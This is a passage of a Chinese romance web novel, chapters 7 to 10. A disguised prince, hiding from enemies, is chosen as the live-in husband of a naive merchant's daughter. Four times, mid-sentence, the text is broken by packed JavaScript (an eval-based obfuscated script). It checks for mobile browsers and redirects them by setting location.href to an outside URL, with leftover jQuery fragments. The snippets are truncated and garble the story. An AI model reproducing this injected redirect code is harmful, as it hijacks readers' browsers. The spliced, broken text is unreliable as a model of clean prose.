江行感觉此刻殿下的心里,可能有一万只蚂蚁在爬。不敢再留下讨嫌,他赶紧脚底抹油,溜之大吉。 看着禅房里烛灯熄灭,江行松了口气,回房休息。 沈昭予在人走后,又爬了起来。 他推开门,飞身而上,立在房顶上眺望。 夜间的动物并无异象,仰观星象,也是一切如常。 很好,今夜多半没有地龙翻身。 回到房间,关好门后,又检查了一遍房间—— 门窗紧锁,陷阱就位,警醒装置也都在它该在的地方,若有人破门,他能立刻知晓。剑就放在枕边,来人即死。 烛火也绝无复燃的迹象,又看了一眼墙根下特意叫人搬进来的用于灭火的太平缸。 嗯,很好,缸中满水,若忽起火势,他也可以顺利脱身。 又在屋里转悠了两圈,确保万无一失,没有任何安全隐患,才慢吞吞地躺了回去。 折腾了一通,伤口有些疼,花了好久才慢慢进入睡眠。 直到天光破晓。 沈昭予蓦地睁开眼。 他猛地坐起身,包扎的地方传来撕裂的痛。 沈昭予双手捂着额头,痛苦呻吟:“她怎么睡得着的。” 天才蒙蒙亮,江行的房门就被敲响。 他头重脚轻地去开了门,见到眼底青黑、处于暴躁状态的主子,顿时什么瞌睡虫都跑了。 江行站得笔直,战战兢兢,“殿下,有何吩咐?” 沈昭予面容严肃,“等会你去找老和尚要一把锁,从里头给那个藏宝屋挂上。另外在窗户里侧设下陷阱,再从外头封死窗户。” 江行下意识问道:“陷阱设什么程度的?” 沈昭予冷冷地,“擅闯者,死。” “……不会误伤到那位姑娘吗?” “你是觉得她会爬窗,还是她身边那个岁数比咱俩加起来还大的老妇会?” 小姑娘打不开门,自然会去找老和尚问。 不对,她……应该会问吧? 沈昭予又焦虑起来。 “算了,告诉老和尚实情,让他派人盯着点那屋子。” 毕竟那可是整个安济寺的金疙瘩,住持不可能不上心。 江行办好一切,回去复命。 只见怀王殿下眉心舒展,整个人终于松弛下来。 他满足地舒了口气,说道:“本王让你盯着,只是不喜欢有人再犯到本王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353180|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地盘。在此修养期间,本王只想耳根清净清净,不速之客都尽快处理掉。” 说罢懒懒地摆了摆手,就要赶人。 江行却道:“属下正要同您说呢,这安济寺,您怕是不能再安生地住下去了。” 沈昭予有些诧异,“都准备好了?今日就出发吗?好。” 他没有什么行囊,拿上剑随时都可以走。 江行拦了他一下,继续道:“赵知庄的死讯传回婺州,他岳丈是婺州刺史的心腹下属,定不会善罢甘休,不过好在这笔账暂且是记在了大理寺头上,不会立刻查过来。” 沈昭予不以为意道:“就算查出来那赘婿死在本王手中又如何?是他先要置本王于死地。” “若那人是普通人家的赘婿也就罢了,只是……”江行脸色沉重,“属下方才得知,那婺州与杭州两府长官竟是联襟,他们是同气连枝,这贪腐一事,婺州定难摘干净。” 沈昭予冷嗤了声,嘲讽道:“这些个门阀士族。” 江行难得强硬:“无论是前往哪个州,路上都重重设伏,殿下您现在实在不便再出面。” 沈昭予皱眉,“区区小伤,本王——” “殿下!”江行扑通一声跪在地上,不知为何,声音很是悲痛,“还望您三思,保重贵体!” 沈昭予身形一顿。 朝阳照在他背后,在他身前拓下一道瘦长的阴影,莫名有股落寞孤寂的味道。 “不就是慢下脚步……”良久,沈昭予叹了声,“欲速则不达,本王懂得。罢了,你且说说,有何建议。” “敌在明我在暗,殿下当择一隐秘身份,最好是让人意想不到的身份做遮掩,以保万无一失。” 意想不到吗…… 沈昭予陷入沉思。 兵法言——兵者,诡道也。故能而示之不能,用而示之不用,近而示之远,远而示之近。① 似是而非,故弄玄虚。透过重重迷障,争夺主动权。 既然那些人不希望他去杭州,那他就不去。世人皆知,以“怀王”的性格,从不会半途而废,向来是遇强则强,迎难而上,只要干不死,就往死里干。 怀王殿下只要还有一口气,就不会停下前往目标的脚步,所以此时此刻,在那些人眼中,失踪的怀王定然在途中。他们会以越州为起点,向外发散,去追寻他的踪迹。 那他还偏就不走了。 反其道而行,“软弱”一回,“畏缩”一回,偏安一隅。 都是策略,并非怯懦,并非逃兵,不丢人。 有什么身份,是外人眼中他绝不会去成为的?有什么事,是旁人万万都想不到他会做的? 凡事做到最优最极致,是他一生追逐的目标,这一次也不例外。 不知怎的,脑袋里忽而涌现某个小姑娘的声音—— “请赐我一个能对出下半句的夫君吧!” 赘婿。 吃软饭的。 “……” 真的不丢人吗。 沈昭予垮着脸,痛苦地闭上了眼睛。 ** “姑娘!出大事了!” “听说老夫人接了张家的定礼,要将姑娘嫁出去!” 哐啷——!! 手边茶杯碰倒,滚烫的茶水溅到手背上,立刻在白皙的皮肤上烫出一片红痕。 秦知许惊呼一声,翻出药膏,要替她上药。 “这可如何是好,虽说父母之命媒妁之言,可老夫人也不能连同姑娘商议都不曾,就直接拍板定亲啊!” “这是迫不及待地要将姑娘卖出去,好吞下这偌大的家产!” 秦知许才刚抹下一指药膏,宋星糖感觉不到疼痛一般用力抽回手,起身就往外走。 “不能再等了。” “我这就去找秦大哥,告诉他我要成亲。” “立刻,马上,明天就成亲!” 8. 第 8 章 【8】 在秦管家的劝阻下,宋星糖勉为其难地答应再等一日。 等到刺史府办赏花宴,等二房一家都随着老夫人赴宴,那才是最佳时机。 傍晚秦氏兄妹俩沿着花园的小河散步,秦知许犹豫许久,又问出困扰她许久的问题: “哥哥既不拦着老夫人与张氏定下亲事,又顺着姑娘的意要招赘婿,你……” 秦知许没再说下去。 秦知期替妹妹拂开河边的垂柳,接话道:“我为何摇摆不定?” 阿许犹豫着点了点头,“哥哥虽然与姑娘并不亲近,但……我不觉得你会背叛她。” “背叛……” 秦知期低声呢喃,片刻后轻笑出来。 妹妹还是太过单纯,这个世界上哪有真正的“背叛”一说?不过都是识时务之举罢了。 “婚姻大事,你我这等身份又怎么插得了手?非得是大小姐自己有意愿反抗,我们才好执行。”秦知期冷静道,“老夫人虽非大小姐的亲祖母,但也是名正言顺能对此事指手画脚的人,她要将大小姐嫁出去,我又凭什么去说不?说到底,他们才是一家人。” 秦知许错愕地看着兄长,一时间竟说不出话来反驳。 “我拦得了一次,拦不了第二次,没了张秀才,还会有赵秀才,李秀才。” 秦知许有些被说动,“可是哥哥如此,难免让人寒心……” 秦知期无所谓地笑了笑,没接这话,“那张秀才的条件并不算出众,但老夫人还是选中张家,你想过为什么没有?” 秦知许拧眉思索,脚底下踢动一块石子,咕噜噜滚出去好远。她忽然灵光一闪,“因为他们是远亲?” “这就是血脉亲缘在作祟,比起旁人,老夫人自然更倾向张家。” “同理,夫人哪怕过世,宋家的人脉也不会落到老夫人的手里。哪怕这个掌权的位置大小姐力不胜任,但只要大小姐还在宋家,老夫人就不可能真正地做到说一不二,钱也不能全都进她的口袋,所以她一定要将大小姐嫁出去。在她能拿捏的人里,勉强有点出息的,唯有张家,虽还不是官身,但却是她的人脉中最有潜力的。” “可是老夫人最偏心,哪会给大小姐许一个有潜力的人家?真有好的,她不紧着她亲孙女?”秦知许说着说着又来了气,愤愤道,“她巴不得随随便便就把咱们姑娘给打发了!” 秦知期停下脚步,笑着睨她,“老夫人总得要点脸面,她逼着未出孝的孙女嫁人已惹下不少非议,再将大小姐随便嫁一个村夫,她得背负多少骂名?落得一个苛待小辈的名声,将来掌管宋氏,更加名不正言不顺。” 秦知期眼底泛了几分冷意,随手捻住一条柳枝,嘲讽道:“况且若大小姐低嫁太多,二房所出的亲孙女又怎么好意思嫁到刺史府里去。” “什么?!你说老夫人预备着让二姑娘与刺史府结亲?!”见李嬷嬷情绪激动,妙荷赶忙给她拍胸口,跟着抱怨道,“哪有偏心成这样的祖母,怪不得去赴宴不带大小姐,想来是怕咱们大小姐艳压群芳,把二房给比下去吧。” 秦知许亦是恨得牙痒痒,“听我哥的意思,是这样。” 想攀刺史府这门亲戚,也要看他们配不配,有没有这个本事。 不过当务之急,还是应对与张家结亲一事。只要宋星糖不外嫁,一切就都还有转机。 大当家李夫人临去时留有遗言,几个大管事都听到了。 李夫人当着众人的面,将宋府令牌、玉石印章、私库钥匙等代表掌权人的信物拿出来,还有一沓重要的契书文书一起,全都交与她唯一的女儿宋星糖保管。 李夫人病逝得突然,没来得及为宋星糖铺好后路,只匆忙间将重担压到女儿身上,就溘然长逝了。 宋星糖年纪轻,又在经商一道上毫无天赋与经验,难以服众。 好在还有几个忠心耿耿的管家默默替她抗住重压,这才没在这几个月里闹出大乱子来。 可万一宋星糖外嫁到婺州去,那掌权人自然要换一个。 眼下宋氏风雨飘摇,正是夺权的好时机,钱氏不趁此时乘虚而入,又待何时呢。 当晚霜星院的丫鬟婆子聚在一起,将二房翻来覆去骂了半晌。 宋星糖却仿佛与她无关一般,两耳不闻窗外事,孤身一人独坐在小亭子里,托着腮望着星星,心里在盘算着明日招赘的事。 晚饭时秦大哥都同她交代过流程了,她怕自己记不住,还特意写在纸上,明日若中途忘了想不起来,也能有个参考,不至于手忙脚乱。 其实招赘不用她做什么事。 秦知期对外张贴告示,只说宋氏大小姐出了一道考题,凡答出来的,都会得到大小姐的接见。 答出来就能见面,见了做什么,没说,但并不妨碍越州城中的学子们争相恐后地报名。 毕竟宋家大小姐早有美名,这个“美”自然无关才华与性情,只单纯指向她那副无可挑剔的样貌。 更何况,宋家还财力雄厚,能得千金大小姐青眼,多少人做梦都不敢想。 招赘这事,秦知期瞒得死,只要他想,还是能在老夫人手下夺得一些主动权的。 是以次日清晨,二房离家时,宋家大少爷还特意跑到宋星糖面前嘲讽。 “听秦管家说,你今日要为家里挑选良才?”宋洛繁不屑地撇嘴,惋惜地摇头,“要嫁人了才知培植心腹,未免为时晚矣。” “你当清楚,祖母已同张家说定了亲事,等你嫁到婺州,你今日挑的人,无论是否有真才实学,我都会赶出去。” 宋洛繁胜利者一般仰起头,耀武扬威地,像一只斗胜的公鸡,“整个宋氏,都会是我父亲与祖母说了算,再过几年,谁还记得你这位‘大小姐’?” 正当宋洛繁以为宋星糖一如既往地任由他欺辱而并不知回击时,她却忽然上前一步。 人逢喜事精神爽,宋星糖一想到自己等会要办喜事,半点都没将跳梁小丑放在眼中,她甚至还好心地提醒他,“你们一去几日,等再回来,可不好将我赶出去了。” 老天作证,她说的可是实话,他们三日后归家,她已经嫁为人妇,爹爹早有先见之明,告诉了她制胜秘诀,等赘婿上门,一切迎刃而解。 看着宋洛繁得意的嘴脸,她一点不生气,她只想象着将来宋洛繁失败后暴跳如雷的模样,便忍不住窃喜。 没留神,心里的情绪就从嘴里冒了出来:“嘻嘻。” 宋洛繁被这一声真情实感的喜悦给激怒,没欣赏成这傻子落寞的表情就罢了,她竟还敢笑?! 他指着宋星糖的鼻子,气得怒骂:“你个蠢货,死到临头还笑得出来,真是猪——” “大少爷,老夫人在催了。”秦知期忽然挡在宋洛繁的手指前,将人护在身后,他笑得客套又温和,那双精明的眼里却深藏着丝丝寒意,“方才见周家的马车已然出发,咱们这边若去得晚了……” 对了!周家人也去,那家适龄的姑娘更多,甚至有“越州第一才女”美称的周四姑娘在,若叫那家人占得先机,怕是不好。宋洛繁再顾不得乱叫,带着小厮忙不迭跑了。 二房人一出发,府上只清净了片刻,就迎来第一波人潮。 一时间宋府大门外人潮如织,被往来的拜访者挤了个水泄不通。 “回禀主子,早先还有些衣着讲究的富家公子来报名,但很快就被宋府的管家给请了出来,”魏吉从宋府内飞身而出,身形如鬼魅一般无形无踪,无声跪落在男人跟前,“按所耗时辰来看,他们应当都没见到宋家大小姐。” “后头有几个在书院念书的书生被请了进去,应该是被留下了。” 有些仪表堂堂出身富庶的公子哥第一轮便被筛下来,而有些寒酸落魄畏首畏尾的学子却进去以后就再没出来。 “听落选的人说,大管家为每人发了一张试卷,命每人作答,而后按照次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353181|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序,依次交上去。” 交卷时再由管家目测打量,算是第二道关卡。 江行好奇道:“考的什么?” 魏吉摇头,“无论是否能答上来,一概皆对此缄默不言,十分默契,外头的人想打探考题都难。” “既是招赘,管家必定不想家境殷实者入选,”江行稍想便明了,“他们哪怕不知是招赘,也知道若过关,锦绣前程就摆在眼前了,自己没被选中,自然也不想别人如愿。” 昨夜接了任务后,江行还奇怪,殿下怎么好端端的让他打探起宋府的动静了。 等知道了宋氏在筹谋什么时,江行不由得惊叹了声。 他前脚建议殿下择一隐秘身份藏身,后脚殿下便选了个始料未及的身份,决策果断,执行迅速,又敢想敢拼。 殿下成大事不拘小节,为了大业,堪称忍辱负重,他不能成事还有谁能成事? 可真是跟对了主。 如此想着,江行忍不住一眼又一眼地瞄向身侧。 男人身着一袭玄色锦袍,腰系玉带,银冠束发,十分贵气。 身姿笔挺如松,气势于无形中四逸,面上没什么表情,漆黑的眼瞳中平静如水,透着股上位者独有的威严。 他一语不发,城府莫测,静默地望向宋府的方向,手指却在无意识地捻着腕间的佛珠。 见此状,江行只觉得心底一虚,慌忙低下头。 他家殿下心情烦躁时总爱摸手边的玩意儿,从前抚摸剑鞘,今日不便佩剑,身上又无玉佩等饰品,只剩个无聊时戴着玩的佛珠串。 江行耳边听着佛珠间的碰撞声愈发急促,一颗心提到了嗓子眼。 都快摸出火星子了吧?这得有多烦啊。 不过也是,他家殿下守身如玉二十二载,连姑娘的手都没碰过,这一下就要给人当上门女婿…… “啪——!!” 江行和魏吉心惊胆战循声望去。 只见男人反手撸了腕间的珠串,毫无敬畏之心地甩到了院中的石桌上。 由十八颗佛珠穿成的珠串在光洁的石面上滑行,“咕噜噜”地滑了一段,堪堪悬停在桌面边缘,有五颗珠子甚至到了桌子外头,摇摇欲坠。 江行与魏吉齐刷刷转头看向主子。 沈昭予眸色黯淡得深不见底,难耐地扯了下衣领,扭身进了禅房。 两个属下面面相觑,谁也不敢去打扰。半个时辰后,房门再度打开,沈昭予换了身行头走了出来。 他不仅换了一身低调的青色粗麻布衣,还做了易容,一副全新的面容。 江行晃了下神,险些没认出来人。若没记错,这衣裳是他给自己预备的,他们时常有潜伏百姓之中探听消息的需求,所以他装备很齐全,这件是前几日刚做好,还没来得及穿,就被殿下征用了。 江行盯着男人束发的那根简朴的竹簪看了半晌,又定格在男人那张新面孔上。 “失忆了,还是脑子被风吹走了,不认得本王?” 一开口还是熟悉的刻薄味道。 江行一言难尽地看着他,“您这是……怕自己选不上?” 因听了魏吉的禀报,听说富贵公子落选,寒门出身反而易得青睐,所以才改头换面,弄了身一看就很拮据的装扮? 魏吉头皮发麻,扯了下江行的袖子叫他别什么大实话都往外说。 沈昭予斜眼睨他,“这世上还未有本王想做却做不到的事,选不上?” 说罢冷笑一声,嘲讽之意溢于言表。 “本王只是不想太过显眼罢了。” 江行面色扭曲,没忍住道:“您有这张出众的面容,要如何低调?” 虽比不过殿下的真容惊为天人,可也担得起琼枝玉树这几个字。 沈昭予眼神古怪,难以置信道:“本王怎可能顶着一张平平无奇的脸在外行走?纵使是假面,也要万里挑一。” 江行、魏吉:“……” 9. 第 9 章 【9】 怀王殿下技艺高超,手法娴熟,寻常只需一盏茶的功夫就能彻底变成另一人,今日竟足足花了快半个时辰,可见其用心雕琢,是费了功夫的。 今日这副样貌,在他家殿下所做的假面容中,堪称第一俊秀。 置于人群中,犹如鹤立鸡群,一眼就叫人挑出来了,何谈低调? 沈昭予下意识要向后甩袖袍,抬起手臂,才意识到这是短褐,袖窄衣短,甩不起来。 沈昭予起势未果,顿了顿,丝毫不见尴尬,顺势展开双臂,十分自然地道:“本王这一身,如何?” 魏吉道:“您通身的气派,与这身衣裳实在不搭。” 沈昭予素来听不得说他有“缺陷”,皱了皱眉,虚心请教:“那如何才搭?” 魏吉思忖了下,“您可以试着收敛一下气势。” 作为一个善于纳谏的上司,沈昭予立刻便尝试着做了。 结果,收效甚微。 “罢了。” 沈昭予丧失耐心,不耐烦地摆手,正欲出发,忽然被江行拦住。 江行从怀中掏出一张纸条,恭恭敬敬递上,“方才传来密信,今晨刺史府的赏花宴上,婺州官员的家眷也出现了。” 沈昭予展信默读。 “让暗二几人带着本王的信物,先行往杭州去。” 沈昭予又吩咐了几件事,魏吉领命离开。 他垂眸思索时,旁人看不见他眼底明明灭灭的光。 江行盯着男人的侧颜,出神道:“殿下,您不说话、不看人的时候,还挺……” 沈昭予挑眉看他。 江行一瞬梦醒,颤颤巍巍道:“挺贤惠的。” 沈昭予:“……” 要去以色侍人了。 这将是他人生中最大的污点。 “……使我思君朝与暮。” 在“思”字后,一滴墨汁猝然落下,在宣纸上溶成一片,如一朵梅花。 这是方才他感受到一道打量的目光后,手腕一抖而落下的。 那道目光来自正前方监考的“管家”,光明正大、挑剔地审视着,好似他与其他众人都是摆在案台上的物件,任人评头论足,挑挑拣拣。 沈昭予神色如常地放下了笔,拿起斩卷的考题,径直朝上首位而去。 他是这一批里最后一个交卷的,此时此刻,堂中再无别人。 四目相对,一坐一站,皆是张弛有度,静默无言。 半晌,秦知期将考卷放在一边,又朝外摆摆手。 随后便有小厮领了沈昭予往外去。 身后的目光一直停留,迈过门槛时,沈昭予回头望了一眼。 秦知期清晰地看到对方眼底的“感激”,似乎因为自己入选而沾沾自喜,还带了几分对未来的期待与向往。 秦知期心底才起的异样,很快被不屑盖了过去。 他又看了一眼那张考卷——笔锋凌厉潇洒,锋芒毕露。 都说人如其字。 可惜,这也是一个贪图宋氏财势的庸人。 沈昭予顺利地入了宋府的二门,站定在会客的花厅前。 里头吵吵闹闹,传来议论声—— “我方才进来时听到有落选者在哀求——求求秦管家让我见大小姐一面吧!我什么都可以做!” 众人哄笑一堂。 “你们说秦管家出这么简单的题,当真要招赘?”一人兴奋不已,“原只是抱着侥幸想来一睹小姐芳容,若真能被选上,不仅坐拥美妻,还能有数不尽的财宝,这辈子当真不白活!” “听闻自李夫人亡故后,秦管家分身乏术,所以张贴告示挑选良才,将手里管的一部分权分出去。可其实嘛……”那人神秘一笑,“只招管事,又何须大小姐亲自见面?多半是要招管事的夫婿。” 众人愈发觉得有理,更加喧闹,沸沸扬扬。 沈昭予眼前阵阵发黑,怎么都迈不开这一步。 花厅之中,里三层外三层聚了不少人,皆是青年才俊。 沈昭予粗略一数,小小的堂中就挤了快二十人! 他们不知道便罢了,既听到风声说是招赘,怎么一个个的还来? 这难道是什么光彩的身份吗,竟还要竞争上位! “公子,请进堂中。” 引路的小厮见他始终停在门前,没忍住催促道。 沈昭予摇头,婉拒道:“我在此等候便是。” 小厮没忍住多看了他两眼,样貌是来者中最出色的,声音也听得人耳朵酥麻,还温文有礼,举止从容。想到此人极有可能中选,小厮便更不敢怠慢,退至一边守着。 屋里不知怎么,忽然爆发了争吵,一人先推搡了另一位,而后局势愈发不可收拾。 “去岁春闱落榜,大才子不在家温书,跑到这里作甚?” “那也好过你,只敢龟缩在书院里,怎么,科考的卷子不敢答,倒是上赶着来巴结宋氏?” 小厮冲进去拉架,沈昭予忍着想一人给一拳的冲动,后退了两步。 忽然有一道明亮清脆的声音闯入他的耳朵。 “秦大哥,怎、怎么这么多人啊……” 沈昭予眼角一跳。 借着仰头望天的姿势,余光瞥向那头—— 走廊尽头,拐角处,一个穿着白裙的小姑娘站在那位管家身边,正望向花厅。 只听小姑娘怯生生地,无措道:“爹爹说对上诗句的就是我的夫君,可这么多人都能对上来,那我……都要?院里能养得下吗?” 沈昭予面色扭曲,这贪心的小鬼,还想都纳了不成! 当赘婿已然令他百般折辱,若再与众男共侍一女,那他还不如一头撞死算了! 那位管家似乎也被这离奇的话语给噎住,半晌,才无奈叹道:“大小姐挑一人就好,再多的……确实养不起。” 这理由荒唐又敷衍,越州城第二首富,巨贾之家,莫说是一个,便真是将这些人全都招入,也是不在话下的。 沈昭予撇撇嘴,没想到这位管家竟对主子如此不敬,他要是那小姑娘,定要好好惩戒一番。 正当沈昭予猜测小姑娘如何料理这刁仆时,却听她发出了恍然大悟的声音—— “那我就挑一个好了,不多花钱,绝对不叫秦大哥为难。” 她竟然信了!! 沈昭予无语望天,神色苍茫,下定了决心。 他想,他的大业终究还是得靠自己真刀真枪打拼出来才行。 躲躲藏藏,实在有失大丈夫风范。 沈昭予扭身就走。 他这一动,顷刻间就将宋星糖的目光吸引了过去。 小姑娘疑惑地“嗯”了声,歪着头看着男人离开的背影,忽然激动地叫了一声:“他,他——” 沈昭予顿在原地。 长身玉立在一片阳光里,傲骨挺直,从容淡漠。 “我认得!” 沈昭予蓦地回首,眼底写满惊愕。 秦知期亦错愕不已,然而到底不敢轻视宋星糖的话,给底下人使了个眼色,让人把宋星糖先拉回去。 秦知期走到男人跟前,蹙着眉再次打量,瞥了一眼堂中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353182|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹剧,只得暂且将疑问都搁在心底。 他让了下手,“此处不是说话的地方,这位公子,请吧。” 沈昭予跟着秦知期绕过几道门,最终来到西边一个雅致的小院。 宋星糖见月洞门外出现熟悉的身影,她眼前一亮,拎起裙子就朝对方飞奔。 她堪堪停在他身前,气息乱了几分,一双水灵灵的大眼睛直勾勾瞅着他。 沈昭予僵在原地,不自在地蜷了下手指。 “你怎么在这呀?” 沈昭予面露迟疑,“姑娘认得……认得我?” “嗯!我见过你!” “不知大小姐是何时见过他?” 宋星糖在兴头上,没防备脱口而出:“从安济寺回来的那日清晨,我唔唔——” 秦知许一把捂住她的嘴,对上兄长似笑非笑的目光。 “哦?安济寺?大小姐何时去了那?我怎不知?” 宋星糖意识到自己说错话,鹌鹑一样垂下头,“嗯……我记错了,秦大哥,是、是我梦到的……对!梦到的!” “是吗。”秦知期瞥了一眼沈昭予,嗤笑道,“梦里见过,那可真是有缘。” “是呀是呀,哥你知道的,姑娘她记性不好。” 秦知期冷哼了声,没再抓着不放。 沈昭予却十分不满他的态度。 首先,他是管家,如何能对着主子冷嘲热讽? 其次,一个管家,竟敢用那种语气同他说话。 最后,区区管家,先用挑猪肉的眼神挑剔他就算了,他不计较是他宽宏大量,此刻竟还用更为不屑的目光刺他。 沈昭予既决定打退堂鼓,便没想着给人留下好印象,更没想给冒犯过他的人留面子。 一个管家连自家小姐偷跑出去都不清楚,真不知他整日都在忙什么。 沈昭予最烦这种尸位素餐之人,他眼尾微挑,拿眼角余光觑向秦知期,似醒悟道: “原来大宅中的管家也并非事事都了然于胸,您这碗饭讨得实在容易啊!” 嗓音清冷悦耳,如金石相击般冷冽,开口时带了三分散漫笑意,说出来的话却如刀子一般割人耳膜。 秦知期:“……” 沈昭予犹觉不解气,一张利嘴叭叭道:“您还有如此好赚钱的门路吗?可否介绍给在下?在下没有别的优点,最是懂得些颐养天和的法子,也最明白万事不上心对身体的好处,偏那些个有眼无珠的说我好吃懒做,说我不干事,说我睁眼瞎,我苦啊!如今遇到管家您,可算是遇到知音了。” 秦知期纵是有再好的修养,此刻也难忍得住,他面色铁青,气得不行:“你!” “姑娘,我觉得他说话……”秦知许挤眉弄眼,“阴阳怪气的,不太好听。” 宋星糖什么都没听出来,只觉得他说了那么多,嗓音实在好悦耳,她揉了揉滚烫的耳朵,犹豫道:“是吗?” 秦知许用力点头,“嗯!” 都快把她哥给气昏了。 沈昭予无所谓地弯了弯唇。 难听吗?他还有更难听的没说呢。 随意一瞥,看到小姑娘不知为何涨红了一张脸。 不止是脸,耳朵脖子全都染上绯红。 沈昭予:? 咋?气坏了?骂的也不是她啊,总不能是心疼这姓秦的? 只见小姑娘羞涩地看了他一眼,咬着下唇,想将唇畔的弧度压下去,未果,索性高高扬起嘴角,抑制不住喜悦地说道: “既然他说话不好听,那……就他吧!” 沈昭予:?? 10. 第 10 章 【10】 沈昭予坐在正屋堂中,恍恍惚惚,没一点真实感。 似乎每一次遇到她,都与“荒谬”二字脱不开关系。 沈昭予双目无神看着坐在自己对面的人。 上回离得远,只在她给菩萨磕头的时候匆忙瞥过一眼。那时只能看到她脑袋上那两只圆圆的发啾,今日却是直面她的正脸,最先吸引人目光的便是那双眼睛。 双瞳剪水,顾盼生辉,杏眼圆睁,黑白分明,颦蹙间露出几分娇憨,歪着头看他时,叫他莫名想起老三宫里那只西域进贡的长毛白猫。 他也算见过各色各样的人,然而从未有如眼前人一样,眼睛如此澄澈单纯。 这屋子的主人应是个男性,多半是那位秦管家的,因为桌椅的高度与她不太匹配。 少女身量娇小,坐在同样高的椅子上,两只脚堪堪踩到地面上,不老实地晃来晃去,鞋底擦过青砖,发出稀碎的声响。 她仰起头专注地望着他,望着他那张精心捏造的假面,眼眸清澈干净,如水中清泉,山中朝露。 沈昭予只看了两眼,便收回目光。 真是可惜,再万里挑一的皮囊,也遮掩不了她脑子愚笨的瑕疵。 “秦管家,上月的账出来了,等您过目。” “先搁着,我明日过去。” “将西厢清理出来,让这位公子安置。” 秦知期声音在近处响起,宋星糖抬头,“秦大哥,他住在你院里吗?” “只是暂住。”秦知期在一旁落座,审视的目光落下,“姓名。” 沈昭予:? 对方确实是在看他,“姓名。” 沈昭予压着心底的火气,勉强牵了牵嘴角,“……赵鱼。” “赵”乃前朝国姓,前朝历经二百余年,到本朝时,这一姓氏已十分普遍。 秦知期命小厮记录,又问道:“乡贯何处。” 沈昭予:“……” 这流程怎如此耳熟。 他在刑部时,也常这么审问犯人。 “怎么,很难答?” 不难答。 在来此之前,他已做好充足的准备,编好了身世来历,照身贴也已齐备,但他就是很厌烦秦知期的嘴脸。 可若不配合,麻烦只会更多。 权衡利弊,沈昭予勉强开口: “我本是幽州人,生母早亡,自幼跟着父亲生活。因我父亲得罪了地方乡绅,便离开故土,南下讨生活。十六岁应征入伍,随大军去了灵州抗敌,在边关待了五年,半年前听闻家中老父病重,正巧战事结束,便从军中退了下来。”沈昭予没耐性等人一句句问,干脆自己全抖落出来,“之所以会来此,是因我走后,父亲来越州做了笔小买卖,衣食无忧,安居于此。” 秦知期将信将疑,“那你父亲现在何处?” “赵鱼”神色微凝,一抹悲戚恰到好处地从眼底划过,正好被人捕捉。 秦知期微怔。 只听沈昭予苦笑道:“家父已于几日前病逝。” 秦知期皱眉,“家中可还有亲戚?” “赵鱼”摇头,提起那些人还有些愤愤的,“哪里是什么亲戚,分明就是强盗!” “他们觊觎我父亲遗产,趁我没回来,将值钱的东西全搜刮走了,等我回来,他们早收拾行囊离开了越州,我便是想找他们报仇,都不知该去往何处。”他黯然神伤,轻叹一声,“这天下之大,竟无一处算我故土,此后又该去何处安家呢?” 秦知期心思微动,偏过头去看向宋星糖。只见小姑娘双手捧着腮,正双眼亮晶晶地盯着男人瞧,嘴角挂着可疑的微笑,甚至两只小虎牙都微微冒了尖。 显然一个字都没听进耳朵里。 秦知期嘴角抽搐,无言半晌,又挑拣着问了几个问题。 沈昭予应对自如,没留下破绽。 秦知期放下一半心,又派出去小厮前去调查。 府上还有些杂务等着他,因此不再多耽搁,打算离开。 一直沉默观赏的宋星糖忽然开口:“那你的马呢?” 秦知期蓦地停步,“什么马?” 沈昭予也是一愣。 宋星糖想了想,连说带比划,“那天在城外见到你,你骑着一匹黑色的马,飞驰而过。” 那匹马跑得好快,又高又大,威风极了。 马可不是一般人能拥有的。 秦知期脸色微沉,“哪日?” 宋星糖歪着头思索半天,又拉着阿许的袖子问了问,最后说了一个日子。 秦知期瞥了一眼陷入沉思的男人,“赵公子还有隐瞒?” 沈昭予蹙着眉沉吟半晌,终于恍然大悟,歉疚地道:“那之前一日才见到了父亲……伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353183|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心欲绝,许多事都记不大清,忘记讲。” 